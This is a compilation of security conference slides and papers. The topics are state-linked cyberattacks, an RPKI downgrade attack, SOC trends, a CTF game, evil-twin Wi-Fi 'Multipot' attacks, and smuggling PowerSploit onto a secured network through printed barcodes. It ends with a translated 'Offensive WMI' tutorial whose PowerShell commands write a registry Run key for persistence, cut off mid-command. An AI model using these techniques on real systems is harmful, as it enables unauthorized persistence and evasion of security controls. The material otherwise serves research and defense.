Iranian activity. Political connections are too obvious to ignore (elections) UN Council Decisions Protests by leadership opposition in Tehran Timing was right on: Iran-Twitter connecting dots Twitter taken down December 18th 2009 Attack attributed eventually to cyber-crime/vigilante group named “Iranian Cyber Army” Until December 2009 there was no group known as “Iranian Cyber Army”... BUT - “Ashiyane” (Shiite group) is from the same place as the “Iranian Cyber Army” Iran-Twitter - Ashiyane Ashiyane was using the same pro-Hezbolla messages that were used on the Twitter attack with their own attacks for some time... AND the “Iranian Cyber Army” seems to be a pretty active group on the Ashiyane forums www.ashiyane.com/forum Let’s take a look at how Ashiyane operates... On [Crime|War] training Ashiyane forums WarGames Wargame targets includes: Back to [Crime|War] Links: What else happened on the 18th? More recently - Baidu taken down with the same MO (credentials) Ashiyane Iranian Cyber Army DDoS Botnet Herding Site Defacement Credit Card Theft Strategic Attacks Mapping Iran’s [Crime|War] Iran Iraq US $$ UK US CN Crime War History - Revisited... Great Chinese Firewall doing an OK job in keeping information out. Proving grounds for many cyber-attackers Bulletpfoof hosting (after RBN temporary closure in 2008 China provided an alternative that stayed...) China China ... connecting the dots January 12th - Google announces it was hacked by China Not as in the “we lost a few minutes of DNS” hacked... “In mid-December we detected a highly sophisticated and targeted attack on our corporate infrastructure originating from China that resulted in the theft of intellectual property from Google” (David Drummond, SVP @Google) China ... connecting the dots. January 12th - Adobe gets hacked. By China. “Adobe became aware on January 2, 2010 of a computer security incident involving a sophisticated coordinated attack against corporate network systems managed by Adobe and other companies” (Adobe official blog) Same MO: 0-day in Internet Explorer to get into Google, Adobe and more than 40 additional companies China ... connecting the dots.. The only problem so far - the attacks all have the sign of a CyberCrime attack. All the evidence points to known crime groups so far. “It was an attack on the technology infrastructure of major corporations in sectors as diverse as finance, technology, media, and chemical” (Google enterprise blog) China ... connecting the dots... Criminal groups attack companies in order to get to their data so they can sell it (whether it was commercial or government data!) US Response: “We look to the Chinese government for an explanation. The ability to operate with confidence in cyberspace is critical in a modern society and economy.” (Hillary Clinton, Secretary of State) China ... connecting the dots.... The China move: Use of criminal groups to carry out the attacks provides the perfect deniability on espionage connections (just like in the past, and a perfect response to clinton). Targets are major US companies with strategic poise to enable state interest espionage Information sharing at its best: Win - Win State Crime The Future (Ilustrated) CLOUDS Summary Good Bad Formal training on cybersecurity by nations Commercial development of malware still reigns Ugly Good meet Bad: money changes hands, less tracks to cover, criminal ops already creating the weapons... Summary The Future Lack of legislation and cooperation on multi- national level is creating de-facto “safe haven” for cybercrime. <- FIx this! Treaties and anti-crime activities may prove to be beneficial. <- nukes? Thanks! Q & A [email protected] pro: [email protected] twitter: twitter.com/iiamit blog: iamit.org/blog
pdf
#BHUSA @BlackHatEvents Stalloris: RPKI Downgrade Attack Tomas Hlavacek, Philipp Jeitner, Donika Mirdita, Haya Shulman and Michael Waidner #BHUSA @BlackHatEvents Information Classification: General Team • Tomas Hlavacek • Donika Mirdita • Haya Shulman • Michael Waidner Cybersecurity Analytics and Defences departement • Network Security • Routing and DNS Security • Philipp Jeitner • Network Security Researcher • Just finished my PhD #BHUSA @BlackHatEvents Information Classification: General Outline • BGP & BGP Security • Ressource Public Key Infrastructure (RPKI) • Downgrade attack against RPKI • Feasability • Mitigations #BHUSA @BlackHatEvents Information Classification: General BGP • Routing system of the Internet • Networks (ASes) announce the IP prefixes they have • Neighbors forward these announcements • Everyone knows where to send traffic AS 64496 AS 64511 AS 64499 traffic 198.51.100.0/23: AS64511, AS64496 198.51.100.0/23: AS64496 #BHUSA @BlackHatEvents Information Classification: General BGP Hijacks • No built-in security • Just announce a prefix you do not own, be MitM, profit? AS 64496 AS 64511 AS 64499 198.51.100.0/23: AS64496 198.51.100.0/24: AS64511, AS666 AS 666 198.51.100.0/24: AS666 traffic #BHUSA @BlackHatEvents Information Classification: General RPKI • Systematic approach to BGP Security • Certificates: Address block -> ASN • Called Route Origin Authorization (ROA) • Root of Trust: RIRs • Because RIRs allocate address blocks! • Kind of like getting your TLS cert from the registry { "asn": "AS64496", "prefix": "198.51.100.0/24", "maxLength": 24, "ta": "RIPE", } #BHUSA @BlackHatEvents Information Classification: General Route Origin Validation • Now everyone has ROAs • (actually only 34.2%) • How to check them? • Put them into BGP? • Third-party system! 198.51.100.0/24: AS666 ROA: AS64496 owns 198.51.100.0/24 #BHUSA @BlackHatEvents Information Classification: General RPKI works! #BHUSA @BlackHatEvents Information Classification: General Attacking RPKI • Integrity? • Create Malicious ROA? Breaking crypto is hard. • Fool the CAs? CAs are run by RIRs. • Availability! • RPKI is a third party system to BGP • What if RPKI stops working? #BHUSA @BlackHatEvents Information Classification: General Making RPKI stop working • Relying Parties (RPs) need to download ROAs from Publication Points (PPs) • If download fails, RPs will not have ROAs and assume RPKI has not been deployed • Plan: • Break communication with PP • RPs cannot fetch information • RPKI turned off (RPKI state unknown) • Start BGP hijack #BHUSA @BlackHatEvents Information Classification: General RP cache and manifests • RPs cache old data until expiry • ROAs expire pretty slowly (1 year) • Manifests • Essentially a signed index • Designed to prevent replay attacks • ROAs not listed in manifest get removed • Short expiry time! (1 day) • Effectively only 6 hours of attack time because of deterministic re-generation Manifest validity time #BHUSA @BlackHatEvents Information Classification: General Breaking communication Low-rate attack: • Exploit rate-limiting on PP/NS • Send spoofed requests • Victim gets blocked • After 6 hours: ROAs removed from cache due to expired manifest Victim Name server Publication Point Relying Party Resolver Attacker RRDP/rsync query DNS query Spoofed TCP SYNs Spoofed DNS queries LIR/RIR #BHUSA @BlackHatEvents Information Classification: General Rate-limiting in RPKI Tested rate-limiting in PPs • DNS RRL & TCP Syn rate-limiting • Typically implemented to prevent DoS Results • 47% of PPs do it (limit < 10,000 pkt/s) • Affects 60% of RPKI-protected IPv4 space • 3% of IPv4 are protected by PPs with very low (<60 pkt/s) rate-limit #BHUSA @BlackHatEvents Information Classification: General Feasability (1) So 60% of Ipv4 can be attacked? Example: • Rate-limit is 1,000 pkt/s, attacker sends 10,000 pkt/s • Connection success is ~ 10% • But RPs will retry #BHUSA @BlackHatEvents Information Classification: General Feasability (2) Simulation using different scenarios • Feasible for low rate-limits (< 60 pkt/s), higher ones are challenging due to retries in 6 hours #BHUSA @BlackHatEvents Information Classification: General We have to try harder • RPKI allows delegation • LIRs can run their own Publication Point • Attackers can run their own Publication Point • and RPs have to contact them • Can we exploit this to break the RP? #BHUSA @BlackHatEvents Information Classification: General Stalloris … 1 2 5 4 3 Victim RP Attacker PP BGP Routers Cached manifest Request Slowed response Stalloris • Attacker becomes malicious Publication Point • Sends responses as slow as possible • Hinders RP from doing many retries Simulation shows this makes attack feasible for high rate-limits and less-favorable scenarios • Becoming a PP also helps time the attack with spoofed queries #BHUSA @BlackHatEvents Information Classification: General Wrapping up • Third-party system allows attacks on availability • Rate-limiting can be exploited to block legitimate requests from off-path • Short manifest validity makes attacks feasible • Attackers can become PPs and prevent RPs from doing their work #BHUSA @BlackHatEvents Information Classification: General Recommendations • Publication points • Avoid low rate limits: Limiting to 60 pkt/s/IP is very easy to spoof • Longer manifest validities, e.g., 1 week • Randomize when manifests are re-generated • More robust deployment/redundancy • Relying parties • Monitor connection failures • Limit processing time/PP and limit tree size under one PP #BHUSA @BlackHatEvents Thank You! Stalloris: RPKI Downgrade Attack Tomas Hlavacek, Philipp Jeitner, Donika Mirdita, Haya Shulman and Michael Waidner Contact: Philipp Jeitner [email protected]
pdf
展望NEW GEN SOC Elaine Ma| Cybersecurity Head CHN-Region Security 简述SOC SOC的趋势 不仅仅是运维云即是未来的终端安全 展望AI 赋能 SOC 即是云运维 角色 流程 管理 技术 SOC平台目标功能架构 • 数据发布层:对SOC平台采集分析的数据进行统一呈 现,同时对专业安全子系统以B/S方式统一纳入SOC平 台进行管理,并通过统一门户和统一认证实现多个专 业安全子系统的单点登录和集中授权管理。 • 安全事件处理层:主要包括对安全对象的管理、安 全风险的呈现和处理、安全事件和脆弱性的关联以 及对事件、脆弱性、完整性等安全信息的处理功能; 同时提供策略库统一规划网络相关策略,提供知识 库作为安全人员处理事件的参考。 • 数据采集层:主要负责对安全事件、安全脆弱性等 安全信息的收集。 • 协议服务层:针对网络中多种事件源,事件采集接 口需要提供多种采集方式对安全事件进行采集 • 安全对象层:SOC平台所管理的资产,包括主机、 网络设备、数据库管理系统、安全设备(如防火墙、 IDS/IPS等)、应用系统、数据和信息、多个安全对 象构成的安全对象组等。 • 应用接口层:SOC平台是一个综合管理系统,在对 相关安全信息进行处理时,需要通过应用接口层与 其他应用管理系统之间进行数据交互。应用接口层 包括与电子工单系统接口、网管系统接口、安全业 务接口等。 SIEM 以及未来趋势---迭代 网络入侵检测和防御系统(NIDPS)和端点保护平台(EPP)等典型的预防技术之外,SOC还应利用广泛的技术堆栈 来提供安全信息收集,分析和事件管理功能。安全信息和事件管理(SIEM)解决方案是最常见的平台,是SOC的核 心技术。端点检测和响应(EDR)解决方案越来越多地添加到SOC“武器库”中,用于收集主机级监控数据,便于实 时响应和取证溯源目的。还有另外一种高级分析和威胁检测工具可以整合进SOC工具集中,那便是网络流量分析( NTA)解决方案,该工具通常用于调查警报并获取有关网络中可疑活动的其他上下文。 SIEM 以及未来趋势 • 事件管理模块应该能够查看所有的事件,包括高风险 事件、低风险事件;可以查看历史事件,可以查看实 时事件; • 系统应该把事件按照不同的安全对象来源进行分类, 例如可以分为“UNIX主机、WINDOWS主机、路由器 和交换机、防火墙、NIDS”等类; • 可以对历史事件进行查询;例如针对具体设备(某个 IP地址)查询它在一定时期内的所有事件,或者根据 事件的关键词查询所有的事件信息; • 可以查看所有的实时事件。考虑到实时事件的数量巨 大,模块应该提供过滤功能,在屏幕上只显示符合过 滤条件的事件。过滤条件用户可以自定义,定义好的 过滤规则能够保存在系统内,下次登录系统后还可以 使用。 • 应可以依据设定的审计策略对标准化的安全事件进行 审计分析。基于审计策略对接收到的安全事件进行实 时审计,每条审计事件依次匹配审计策略,如果匹配 到某设计策略,系统负责完成该策略的响应动作。 云以及云安全运维的维度 2021-2025 发展最快的IT security 技术 为什么Cloud就是未来的端点安全 37% 41% 60% 115% 164% 0% 50% 100% 150% 200% 事件响应 威胁情报 风险管理 云安全 应用开发安全 上升率 上升率 AI 元素和驱动 算法 •ANN (人工神经网 络) •ML •DL •概率图形 •等等. 计算力 •GPU •TPU (张量处理单元: 谷歌,工作负载) •AIaaS •FPGA (现场可编程 门阵列强于GPU) •等等. 数据 •工业数据 •个人数据 •等等. 3个主要驱动力 主要国家的AI战略 中国 2017年,《新 一代人工智能发 展规划》,从战 略态势,总体要 求,资源配置, 立法,组织等进 行AI发展规划的 阐述。建立AI 标准体系。 美国. 2016年美国发 布《美国国家人 工智能研究与发 展战略规划》研 究,开发人工智 能写作方法,解 决人工智能的安 全,到的 法律 和社会影响 欧盟 欧盟委员会发布 《欧盟人工智能》 报告,建立欧洲 人工智能联盟 欧盟最新AI监管 草案 四月23号 2021 日韩 2016年日本提 出超智能社会 5.0 战略, 韩国审议通过人 工智能研发战略 Standards ISO/IEC JTC1 • ISO/IEC TR 24027《信息技术人工智能人工智能系统中的偏差 与人工智能辅助决策》、 • TR 24028《信息技术人工智能人工智能可信度概述》、 • TR 24029-1《人工智能神 经网络鲁棒性评估第 1 部分:概述》、 • AWI 24029-2《人工智能神经网络鲁棒性评估第 2 部分:形式化方 法》、 • CD23894《信息技术人工智能风险管理》 • AWI TR 24368《信息技术人工智能伦理和社会关注概述》 ITU-T ITU-T 一直致力于解决智慧医疗、智能汽车、垃圾内容治理、生物特征识别等人工智能应用中的安全 问题。2017 年和 2018 年,ITU-T 均组织了“AI for Good Global”峰会,重点关注确保人工智能技术可信、 安全和包容性发展的战略,以 及公平获利的权利 EEE IEEE 持续开展多项人工智能伦理道德研究,发布了 IEEE P7000 系列等多项人工智能伦理标准和研究 报告,用于规范 人工智能系统道德规范问题,包括:IEEE P7000《在系统设计中处理伦理问题的模型过程》、 4 P7001《自治系统的透明 度》、P7002《数据隐私处理》、P7003《算法偏差注意事项》、P7004《儿童和学 生数据治理标准》、P7005《透明雇 主数据治理标准》、P7006《个人数据人工智能代理标准》、P7007《伦 理驱动的机器人和自动化系统的本体标准》、 P7008《机器人、智能与自主系统中伦理驱动的助推标准》、 P7009《自主和半自主系统的失效安全设计标准》、P7010 《合乎伦理的人工智能与自主系统的福祉度量标 准》、P7011《新闻信源识别和评级过程标准》、P7012《机器可读个人 隐私条款标准》、P7013《人脸自动 分析技术的收录与应用标准》 NIST EC ( 欧盟委员会) GSMA (全球移动通讯) 中国 TC260、CCSA,GB/T 近期态势感知产品的状态 2021/7/1 AI threats AI 在不同行业的导向 AI 和网络安全 • Cloud Threats IDC projects that the global cloud services market will be worth almost $1 trillion in 2024, at a CAGR of 15.7% during the forecasted period 2020-24. The rapid adoption of SaaS platforms and the speedy migration to the cloud has led to the introduction of d a plethora of new enterprise security threats and challenges. Poorly configured cloud storage, reduced visibility and control of apps and devices, incomplete data deletion, cloud phishing attempts and vulnerable cloud-apps, could be the biggest problem for organisations working in the remote model. • AI Integration With a rise in cyberattacks, Artificial Intelligence (AI) could be the key to helping under-resourced security teams can stay one step ahead of the threats. By analysing big data sets and risk reports from a wide variety of source, AI can provide threat intelligence which can reduce the reaction times of security teams. It means that organisations can make critical security decisions sooner, and there can be a faster response to immediate threats.stimates show that AIin the l grow from $8.8 billion in 2019 to $38.2 billion by 2026 at a CAGR of 23.3%. • Extended Detection and Response (XDR) With remote working responsible for rises in data breaches, IT security teams are under pressure to see all enterprise and customer data across email, endpoints, networks, servers, cloud platforms, and mobile apps. Extended Detection and Response (XDR) will gain momentum as it .For example, security teams can analyse details of a cybersecurity incident found on a server, network, and app to show visibility, scale and context of an incident. 相关趋势对策略的预判 实践中的发现 SOC • 监测, • 保护, • 分布式供能 • 可视化 • 功能分布式 • 投入人力的沟通成本消耗 Before • 全集成管理, • 网络化部署 • 云端计算, • 监测, • 保护和防范 • 应急响应 • 集成功能 • 更快速 • 减少资源成本 After SOC Continuously ML Detection protection response Analysis XDR layer SOAR layer 多维度 发展和 定位? 当前 认知拓 展 实践 持续迭 代 Organization Efficiency of most of the domains Financial ROI/Perform ance in different domains Trusted Decentraliza tion and distributed manageme nt/ mesh manageme nt Strategy manageme nt Maturity Timing ZTI 挑战 Cloud security XDR AI as Service Q&A
pdf
資安攻防遊戲 觀念名詞解釋 GD & Desnet Platfor m 運作 平台 Social 社交互動 Platform 系統平台 軟體服務 Service Crypto 加密算法 資安 攻防 層級 CTF 資安攻防遊戲 (Capture The Flag) • 模擬真實世界的駭客攻防 • 現場 4~8 人組隊、共 8~20 隊伍 • 封閉網路 每隊一台主機 若干服務 • 購物網站 (flag 在會員資料庫中) • 電子郵件 (flag 在機密信件中) • 線上遊戲 (flag 在任務關卡寶物中) • 防守:維持服務在線 阻止flag被偷 • 五分鐘一個 round 計算 flag 數量 • 攻擊:設法偷取其他隊伍服務 flag • flag 成功送計分版 平分失手隊分數 資安生命週期 新服務上線 建構防護機制 服務遭受攻擊 減緩攻擊 修復服務 規則 A 四種層級、9 大防守技術、24 種攻擊技術 • 3 Rounds per Game • 5 Actions per Round • Install : • New Server Cards to generate points. • Defense : • Protect your Servers. • Attack : • Hack opponents for points. • Mitigation : • Repair damage and keep your services alive. • Scoring Round • Gain points for server status of at the end of each round. 伺服器卡 傷害卡 防禦卡 攻擊卡
pdf
Multipot: A More Potent Variant of Evil Twin K. N. Gopinath Senior Wireless Security Researcher and Senior Engineering Manager AirTight Networks This presentation pertains to a discovery of a more potent variant of Evil Twin. We call it ‘Multipot’. What is unique about Multipot is that the prevalent defenses against Evil Twin, in particular deauth based session containment, are totally ineffective against the Multipot. Multipot threat can occur naturally in enterprise and campus network environments or it can be presented by attacker with deliberate malicious intent. A demonstration of Multipot threat will be provided at the end of the presentation. Multipot provides a glimpse into complexities of evolving wireless vulnerabilities and their countermeasures [1,2]. Multipot: What It Is and How It Works Multipot is a newly discovered threat scenario consisting of multiple APs which are configured with the same SSID and lure WiFi clients into connecting to them. The term Multipot is derived from “multiple” and “honeypot”. Multipot can occur naturally in the form of multiple Municipal APs or Metro APs around the victim client, all of which are naturally configured for the same SSID (e.g., GoogleWiFi). A client which has such an SSID in its WiFi profile can connect to such a Multipot. Another example of naturally occurring Multipot is multiple APs in the neighbor’s corporate network around the victim client, which again are naturally configured with the same SSID. Neighboring networks which are open (i.e., do not use cryptographic security) and/or use manufacturer default SSIDs are good candidates for this type of Multipot. Wireless connections of corporate or campus clients to such naturally occurring Multipots can lead to non-policy compliant communication. There can also be a handcrafted or malicious version of Multipot where an attacker can combine it with known Evil Twin attack tools (see references 3 to 8). Each of these APs in a handcrafted Multipot feeds data into a common end point (e.g., an attacker’s computer). The attacker can then launch a man-in-the-middle attack using Evil Twin attack tools. Prevalent Evil Twin Countermeasures do NOT Work Against Multipot The prevalent Evil Twin defenses are ineffective against Multipot. In particular, the prevalent defenses include: i) Taking precaution so that clients are not lured to Evil Twins (e.g., specialized client side software), and ii) since these precautions are not always foolproof or practical, using a Wireless Intrusion Prevention System (WIPS) to block clients’ connections to Evil Twins. Most of the current WIPS use deauthentication (deauth) based session containment to defend against this threat. In this presentation, we demonstrate that Multipot renders the deauth based session containment completely ineffective. In more detail, when a WIPS attempts to block client’s connection to one of the APs in the Multipot, the client (including the prevalent Centrino client) automatically and swiftly “hops” to another AP in the Multipot and continues its communication. WIPS sensor detects and deauths client’s connection to the AP after a finite delay (e.g., typically around a second, even up to 10 seconds in some systems). Such a channel scanning and processing delay in the WIPS is unavoidable, as the WIPS sensor needs to continually circle through many channels for detecting unauthorized activity. Fast clients such as Centrino swiftly connect to other APs with the same SSID upon receiving sensor’s deauth. A WIPS sensor can be trapped into cat and mouse game by exploiting the inherent time disparities involved in detecting the new association and subsequently, starting session containment. We demonstrate that an application does not face any major disruption while this cat and mouse game continues. Figure 1: Naturally occurring Multipot (a) and malicious Multipot (b) Live Multipot Demonstration We will demonstrate Multipot threat with two APs constituting the Multipot and a WIPS sensor that can deauth on one channel at a time. It will be shown that sustained ping and TCP connections are maintained by the victim client through the Multipot even in the presence of deauth based session containment from the WIPS. Though we will not demonstrate Multipot with more than two APs, following observations can be made. Even if the WIPS sensor can deauth on N channels simultaneously, a Multipot can contain/may be set up with N+1 constituent APs to make the session containment ineffective. Practically however, for a single WIPS sensor, N cannot be greater than 2 as otherwise containment does not work anyway as sufficient deauths cannot be continuously transmitted on any of the channels. Further, if Multipot can be implemented using soft APs, it can contain virtually unlimited number of APs. Multipot Countermeasures To defend against Multipot, it is required that WIPS perform session containment in a manner to keep the client from hopping to APs with similar SSIDs. One direction to pursue is to perform wireless session containment at layer 3 and above, so as not to disturb layer 2 connection and thus not prompt the client to hop the APs. References 1. Joshua Wright, Weaknesses in Wireless LAN Session Containment, 5/19/2005, http://i.cmpnet.com/nc/1612/graphics/SessionContainment_file.pdf 2. Jon Cox, Researchers crafting intelligent scaleable WLAN defense, Networkworld, Dec 2006, http://www.networkworld.com/news/2006/120706-intelligent-scaleable-wlan-defense-darpa.html 3. Christopher Null, Beware the “Evil Twin” Wi-Fi Hotspot, http://tech.yahoo.com/blogs/null/23163/beware-the-evil-twin-wi-fi-hotspot 4. CNN, 'Evil twin' threat to Wi-Fi users, http://www.cnn.com/2005/TECH/internet/01/20/evil.twins/index.html 5.. KARMA, http://www.theta44.org/karma/ 6. Delegated, http://www.delegate.org/delegate/mitm/ 7. Airsnarf, http://airsnarf.shmoo.com/ 8. Hotspotter, http://www.remote-exploit.org/codes_hotspotter.html 9. Monkey jack, http://sourceforge.net/projects/airjack/
pdf
An Insider’s Options Michael Rich [email protected] The Challenge The Tools Available Phase 0 – Set up Phase 1 – Hex Attack Phase 2 – Attack of the Big Barcode Bringing it all Together Future/Branch Research Paths Conclusion There I was, hacking the collaboration portal.. How could I intercept the POST call to modify the inputs? Tamper Data, Burp Suite, etc.. How could I forge the POST call? Curl, wget, etc.. Eventually: “How could I load one of these tools on to my closed, secure network without getting caught?” Closed, secured network (sort of) USB ports secured & monitored CD use secured & monitored Host-based security system Data transfer entry points do exist (DOTS) Not in control of attacker Unknown scanning rules Leaves logs Windows / MS-Office environment MS Office = Visual Basic for Applications Professional level printers & scanners Adobe Acrobat OCR Put Excel into attack mode Consolas Font – Down to 8 pt font Use Phase 0 methods to make Excel a binary file hex encoder/decoder Why hex? Printable text Tests showed excellent OCR results Hex Encoding Base64 Encoding Encoding Consolas, 8 pt font Consolas, 12 pt font Word Length Errors (80 char words) 0 in 73 words 9 in 73 words Transcription Errors 0 in 5840 symbols 216 in 5840 symbols Error Types 1 to 1 Many to Many Hex Encoding is good, but probably not perfect Need compact error detection 2-byte XOR checksum Assumptions, assumptions, assumptions 1551 errors in 135,420 symbols (1.1 % error) B to 8: 261; 1 to l: 359; 5 to S: 864 D to 0, O: 57; 6 to G,q,b: 3 Alternative characters: # for B ? for D Auto-replace other major errors “l”, “S”, “.”, “ “ Add strong visual indicators 1 manual correction in 1210 lines of text Demo Time! Pros: Extremely reliable Can be entered by hand if no scanner Cons: Low data density: ~3.6K per page best case Common Tools: PowerSploit: 835 kB = 232 pages Mimikatz: 538 kB = 150 pages No exfiltration “compression” advantage ~ 25K data per page 60% error correction Good features Timing lines Reed-Solomon FEC Different design problem I can make it better! Data grid where each pixel represents one bit state (white = 1, black = 0) Printed at 72 dpi, get about 88 bytes across ~ 85 kB data per page Finding the timing marks Start with raster scan across the image Finding centers of timing marks “Wiggle Fit” from “root” pixel Best mask fit Timing mark location is very successful: Once all timing marks found, simply compute a grid of intersections to locate data: Results: 20K of binary data: 189 bytes missed (0.953% error) 65K of binary data: 491 bytes missed (0.76% error) 72K of ASCII data: 972 bytes missed (1.35% error) Forward ERASURE Correction Forward ERROR Correction P1 Block 1 P2 Block 2 P3 Block 3 P4 Block 4 Block 1 Block 2 Block 3 Block 4 C1 P1 Block 1 C2 P2 Block 2 C3 P3 Block 3 C4 P4 Block 4 B1 B2 B3 B4 B5 B6 B7 P1 P2 P3 P4 Reed Solomon encoding Codewords can be 2s symbols long, each symbol s-bits wide S = 8, codeword is 255 symbols; each symbol 8 bits wide S = 16, codeword is 65535 symbols; each symbol 16 bits wide Codewords can be less than n symbols long Can correct up to “t” symbol errors (2 parity symbols required for find and correct each error) From http://www.cs.cmu.edu/~guyb/realworld/reedsolomon/reed_solomon_codes.html Few open-source error correction libraries Those that do are 28 only https://en.wikiversity.org/wiki/Reed%E2%80%93Solomon_codes_for_coders With s=8, k=140 to work reliably ~47 kB per page of data (~38 kB of parity) PowerSpoit: 18 pages (vs. 232 pages in hex) Mimikatz: 12 pages (vs. 150 pages in hex) Demo Time! Goal: Using techniques described here, install PowerSploit on a machine Step Result Interpret a page-sized bar code Reed-Solomon Encoder/Decoder Build Sideload Library Encode, Print, Scan, Decode payload with library Print, Scan, and load hex encoder/decoder into Excel Emplace library using hex OCR method Encode/decode using DLL called from Excel Big Bar Code Reduce size of BBC DLL Improve error rates Get 2^16 Reed Solomon FEC working Add color to BBC Excel-a-sploit Hex Editor Steganographic encoder/decoder Restore command prompt Direct DLL injection? Big Bar Code POC was a success Standard office tools provide a lot of power If a user can code, a system is not secure Innocuous input/output systems can be used for creative purposes
pdf
本文翻译自:Offensive WMI - Interacting with Windows Registry (Part 3) :: 0xInfection's Blog — Random ramblings of an Infected Geek. 这是 WMI 攻击手法研究系列第三篇,本文将重点介绍与 Windows 注册表的交互。在开始之前需要了解 的一件事情是:MITRE ATT&CK 对查询注册表 (Query Registry) 归类于 T1012 以及它的修改 (Modify Registry) 归类于 T1112。 一、Windows 注册表是什么 简单来说,注册表是一个存储操作系统配置设置的数据库:内核、设备驱动程序、服务、SAM、用户界 面和第三方应用程序都使用注册表,这使得注册表成为攻击者非常关注的一个点。 注册表由称为 hives 的部分组成,例如 HKEY_LOCAL_MACHINE 、 HKEY_CURRENT_USER 等。检查 regedit.exe 中的注册表后,它们的排列方式似乎与文件系统类似,每个 hive 都有许多键,键可以有 多个子键,键或子键用来存储值。注册表项由名称和值组成,成一对。 二、注册表 & WMI WMI 提供了一个名为 StdRegProv 的类,用于与 Windows 注册表交互。有了这个,我们可以做很多事 情,包括检索、创建、删除和修改键和值。这里需要注意的重要一点是,我们需要使用 root\DEFAULT 命名空间来处理注册表。 让我们开始探索吧: Get-WmiObject -Namespace root\default -Class StdRegProv -List | select - ExpandProperty methods Variable Value Hive $HKCR 2147483648 HKEY_CLASSES_ROOT $HKCU 2147483649 HKEY_CURRENT_USER $HKLM 2147483650 HKEY_LOCAL_MACHINE $HKUS 2147483651 HKEY_USERS $HKCC 2147483653 HKEY_CURRENT_CONFIG Method Data Type Type Value Function GetStringValue REG_SZ 1 返回一个字符串 GetExpandedStringValue REG_EXPAND_SZ 2 返回对 env 变量的扩展引 用 GetBinaryValue REG_BINARY 3 返回字节数组 GetDWORDValue REG_DWORD 4 返回一个 32 位的数值 GetMultiStringValue REG_MULTI_SZ 7 返回多个字符串值 GetQWORDValue REG_QWORD 11 返回一个 64 位的数值 在上图中,我们可以看到一些与注册表交互的方法,比如 CreateKey 、 DeleteKey 、 EnumKey 、 EnumValues , DeleteValues 等,这很有趣。 进入之前需要了解的两件重要事情:首先,WMI 使用常量数值来标识注册表中的不同配置单元。下表列 出了访问注册表配置单元的常量: 其次,注册表具有不同的数据类型,并且可以使用 WMI 中的特定方法访问每种数据类型。下表将常见 数据类型与它们的方法的对应关系: 2.1 查询注册表 2.1.1 枚举键 现在我们知道了常量,让我们尝试枚举一个众所周知的注册表路径 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion 下的可用子项。把我们 目前所知道的放在一起,可以使用以下这个命令来获取注册表项下的所有键: 注意:对于上层层次的注册表路径也可以这样做。如果不知道绝对路径,可以通过简单地替换上面命令 中的路径来浏览注册表。例如,如果将上述命令中的路径 software\microsoft\windows nt\currentversion\schedule 替换为 software ,则输出将列出 HKEY_LOCAL_MACHINE\Software 下的所有子项。这在探索注册表中的未知嵌套项时很有帮助。 2.1.2 枚举值 现在我们知道如何列出注册表项下可用的键,让我们枚举 Drivers32 键下的值: 正如我们所见,输出包含 sNames 下的子项名称和 Types 属性下的关联数据类型。当然也可以使用 Powershell 的 select -ExpandProperty 选项参数来扩展输出中返回的属性值。 Invoke-WmiMethod -Namespace root\default -Class stdregprov -Name EnumKey @(2147483650, "software\microsoft\windows nt\currentversion") | select - ExpandProperty snames Invoke-WmiMethod -Namespace root\default -Class stdregprov -Name enumvalues @(2147483650, "software\microsoft\windows nt\currentversion\drivers32") 2.1.3 读取值 现在让我们尝试读取子键的值,对于示例,将读取 Drivers32 子键 (定义应用程序的 Windows NT DLL) 的值。过去曾观察到几个恶意软件变种使用此子键 (请参阅 Riern Trojan Family)。 以下命令读取 Drivers32 项下子项 aux 和 midi 的值。请注意,传递给 cmdlet 的方法名称 (通过 - Name 选项参数) 将因注册表数据类型而异 (请参阅上面的数据类型表)。 提示:这是一个很好的注册表中有趣位置的 备忘单,对攻击者很有用。 2.2 修改注册表 现在已经知道如何使用 WMI 从注册表中读取键值对,然而,到目前为止,这些并不需要管理权限 —— 创建、删除和更新键和值可能需要提升权限。 让我们尝试创建新的键和子键,但在此之前,我们需要检查是否可以访问特定的注册表项,还有一个常 量定义了对键的访问级别,下表总结了具有关联常量的权限: Invoke-WmiMethod -Namespace root\default -Class stdregprov -Name GetStringValue @(2147483650, "software\microsoft\windows nt\currentversion\drivers32", "aux") Invoke-WmiMethod -Namespace root\default -Class stdregprov -Name GetStringValue @(2147483650, "software\microsoft\windows nt\currentversion\drivers32", "midi") | select svalue Copy Method Value Function KEY_QUERY_VALUE 1 查询注册表键的值 KEY_QUERY_VALUE 2 创建、删除或设置注册表值 KEY_CREATE_SUB_KEY 4 创建注册表项的子项 KEY_ENUMERATE_SUB_KEYS 8 枚举注册表项的子项 KEY_NOTIFY 16 注册表项或注册表项子项的更改通知 KEY_CREATE 32 创建注册表项 DELETE 65536 删除注册表项 READ_CONTROL 131072 结合 STANDARD_RIGHTS_READ、 KEY_QUERY_VALUE、KEY_ENUMERATE_SUB_KEYS 和 KEY_NOTIFY 值 WRITE_DAC 262144 修改对象安全描述符中的 DACL WRITE_OWNER 524288 更改对象安全描述符中的所有者 2.2.1 检查键的权限 对于我们的示例,首先选择配置单元 HKEY_CURRENT_USER 下的 Run 键,然后选择 HKEY_LOCAL_MACHINE ,以下展示如何做: Invoke-WmiMethod -Namespace root\default -Class stdregprov -Name CheckAccess @(2147483649, "software\microsoft\windows\currentversion\run", 32) Invoke-WmiMethod -Namespace root\default -Class stdregprov -Name CheckAccess @(2147483650, "software\microsoft\windows\currentversion\run", 32) 上图中的 bGranted 属性告诉我们是否可以访问注册表中的特定项目。从上面的例子中,可以清楚地看 到用户当前可以访问 HKEY_CURRENT_USER 下的 Run 键,而不是 HKEY_LOCAL_MACHINE 。 2.2.2 创建注册表项 现在我们知道对在 HKEY_CURRENT_USER 下运行的注册表项有写访问权限,将计算器应用程序添加到注 册表项中。这将导致每次系统启动时都会弹出一个计算器,这是恶意软件中常见的一种获得持久性的技 术。 Boom,我们的计算器应用程序实现了持久化。 注意:注册表项下的现有子项也可以使用上述方法进行更新。 Invoke-WmiMethod -Namespace root\default -Class stdregprov -Name SetStringValue @(2147483649, "software\microsoft\windows\currentversion\run", "C:\Windows\System32\calc.exe", "Calculator") 2.2.3 删除注册表项 删除注册表子项不需要的值: 2.2.4 创建键 在少数情况下,我们可能需要在主树层次结构下创建键。假设要在 HKEY_LOCAL_MACHINE\Software\OpenSSH 注册表项下创建一个名为 CustomAgent 的新键,这个过 程看起来非常简单: 2.2.5 删除键 删除键同样也很简单: Invoke-WmiMethod -Namespace root\default -Class stdregprov -Name DeleteValue @(2147483649, "software\microsoft\windows\currentversion\run", 